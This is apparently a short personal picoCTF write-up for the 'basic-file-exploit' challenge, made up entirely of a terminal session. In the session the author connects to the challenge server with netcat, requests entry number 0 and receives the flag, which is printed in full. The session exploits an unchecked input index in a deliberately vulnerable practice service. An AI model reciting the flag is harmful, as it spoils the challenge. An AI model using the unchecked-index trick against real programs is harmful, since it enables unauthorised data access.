> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/basic-file-exploit.md).

# basic-file-exploit

alhamrizvi\@alhams-fedora:\~/Downloads$ nc saturn.picoctf.net 60053 Hi, welcome to my echo chamber! Type '1' to enter a phrase into our database Type '2' to echo a phrase in our database Type '3' to exit the program 1 1 Please enter your data: 10 10 Please enter the length of your data: 10 10 Your entry number is: 1 Write successful, would you like to do anything else? 2 2 Please enter the entry number of your data: 0 0 picoCTF{M4K3\_5UR3\_70\_CH3CK\_Y0UR\_1NPU75\_E0394EC0}